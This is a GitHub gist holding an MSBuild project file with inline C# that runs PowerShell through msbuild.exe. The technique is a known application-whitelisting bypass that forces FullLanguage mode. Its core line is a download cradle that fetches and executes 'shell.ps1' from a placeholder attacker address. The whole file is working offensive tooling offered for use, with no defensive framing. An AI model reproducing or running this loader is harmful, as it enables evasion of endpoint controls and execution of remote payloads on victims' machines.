Created
February 19, 2018 00:20
-
-
Save egre55/7a6b6018c9c5ae88c63bdb23879df4d0 to your computer and use it in GitHub Desktop.
powashell.csproj by Casey Smith @subTee
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | |
<!-- This inline task executes c# code. --> | |
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe powaShell.csproj --> | |
<Target Name="Hello"> | |
<ClassExample /> | |
</Target> | |
<UsingTask | |
TaskName="ClassExample" | |
TaskFactory="CodeTaskFactory" | |
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > | |
<Task> | |
<Reference Include="C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /> | |
<!-- Your PowerShell Path May vary --> | |
<Code Type="Class" Language="cs"> | |
<![CDATA[ | |
// all code by Casey Smith @SubTee | |
using System; | |
using System.Reflection; | |
using Microsoft.Build.Framework; | |
using Microsoft.Build.Utilities; | |
using System.Collections.ObjectModel; | |
using System.Management.Automation; | |
using System.Management.Automation.Runspaces; | |
using System.Text; | |
public class ClassExample : Task, ITask | |
{ | |
public override bool Execute() | |
{ | |
//Console.WriteLine("Hello From a Class."); | |
Console.WriteLine(powaShell.RunPSCommand()); | |
return true; | |
} | |
} | |
//Based on Jared Atkinson's And Justin Warner's Work | |
public class powaShell | |
{ | |
public static string RunPSCommand() | |
{ | |
//Init stuff | |
InitialSessionState iss = InitialSessionState.CreateDefault(); | |
iss.LanguageMode = PSLanguageMode.FullLanguage; | |
Runspace runspace = RunspaceFactory.CreateRunspace(iss); | |
runspace.Open(); | |
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); | |
Pipeline pipeline = runspace.CreatePipeline(); | |
//Interrogate LockDownPolicy | |
Console.WriteLine(System.Management.Automation.Security.SystemPolicy.GetSystemLockdownPolicy()); | |
//Add commands | |
pipeline.Commands.AddScript("IEX (iwr 'http://10.10.10.10/shell.ps1')"); // powershell 3.0+ download cradle | |
//Prep PS for string output and invoke | |
pipeline.Commands.Add("Out-String"); | |
Collection<PSObject> results = pipeline.Invoke(); | |
runspace.Close(); | |
//Convert records to strings | |
StringBuilder stringBuilder = new StringBuilder(); | |
foreach (PSObject obj in results) | |
{ | |
stringBuilder.Append(obj); | |
} | |
return stringBuilder.ToString().Trim(); | |
} | |
} | |
]]> | |
</Code> | |
</Task> | |
</UsingTask> | |
</Project> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment